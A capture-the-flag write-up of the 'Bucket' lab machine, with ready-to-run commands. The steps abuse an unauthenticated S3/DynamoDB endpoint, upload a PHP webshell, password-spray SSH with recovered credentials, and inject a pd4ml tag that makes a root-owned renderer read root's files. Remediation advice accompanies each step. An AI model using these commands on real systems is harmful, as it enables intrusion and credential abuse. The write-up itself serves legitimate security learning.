Bucket
Summary
I scanned the target and found Apache 2.4.41 on port 80 redirecting to the bucket.htb virtual host; the homepage HTML disclosed a second subdomain, s3.bucket.htb, hosting a self-hosted S3-compatible object store (LocalStack) that accepted any credentials — including dummy values — and enforced no access controls. Using the standard AWS CLI, I listed a publicly writable bucket named adserver whose contents Apache served as live PHP, then uploaded a one-line PHP webshell for immediate remote code execution as the web service user.
The same unauthenticated endpoint also exposed a DynamoDB API; scanning the users table returned three plaintext credential pairs, including Sysadm / [REDACTED: recovered credential]. Password-spraying those credentials over SSH succeeded for local user roy, giving an interactive shell and the user flag.
Roy belonged to the sysadm group and could read the internal PHP application at /var/www/bucket-app, whose source code showed it fetched a DynamoDB alerts table and rendered each entry into a PDF via the root-owned pd4ml library, saving the result to /tmp/result.pdf. Because the DynamoDB endpoint remained entirely unauthenticated and externally writable, I inserted an alert whose data field contained a pd4ml attachment tag pointing to /root/root.txt; triggering the app's PDF-generation endpoint caused the root-owned process to read and embed the root flag into the document — full system compromise without exploiting any memory-corruption vulnerability.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p 22,80 $TARGETcurl -si http://$TARGET/ | grep -i locationecho "$TARGET bucket.htb s3.bucket.htb" | sudo tee -a /etc/hostscurl -s http://bucket.htb/ | grep -oE '[a-zA-Z0-9._-]+\.bucket\.htb' | sort -uExact commands 2
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb s3 lsAWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/FixEnforce authentication and write restrictions on the S3-compatible object storeCritical
Exact commands 2
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb list-tablesAWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name usersFixRequire authentication for the DynamoDB API and eliminate plaintext credential storageCritical
Exact commands 3
printf '<?php system($_REQUEST["cmd"]); ?>' > /tmp/shell.phpAWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb s3 cp /tmp/shell.php s3://adserver/shell.phpcurl -s 'http://bucket.htb/shell.php?cmd=id'Exact commands 2
for pair in 'roy:[REDACTED: recovered credential]' 'mgmt:[REDACTED: recovered credential]' 'cloudadm:[REDACTED: recovered credential]'; do u=${pair%%:*}; p=${pair#*:}; echo -n "Trying $u: "; sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 $u@$TARGET id 2>/dev/null && break; donesshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null roy@$TARGET 'id; cat /home/roy/user.txt'Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no roy@$TARGET 'id; groups; ss -tulpn'sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no roy@$TARGET 'cat /var/www/bucket-app/index.php'Exact commands 5
AWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10printf '{"title":{"S":"Ransomware"},"data":{"S":"<pd4ml:attachment src=\"file:///root/root.txt\" description=\"x\" icon=\"Paperclip\"/>"}}' > /tmp/alert.jsonAWS_ACCESS_KEY_ID=x AWS_SECRET_ACCESS_KEY=x AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item file:///tmp/alert.jsonsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no roy@$TARGET 'curl -s -X POST http://localhost:8000/ -d "action=get_alerts"; ls -la /tmp/result.pdf'scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null roy@$TARGET:/tmp/result.pdf ./result.pdf && pdftotext result.pdf -FixRun the PDF renderer as an unprivileged account and sanitize DynamoDB content before renderingCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 |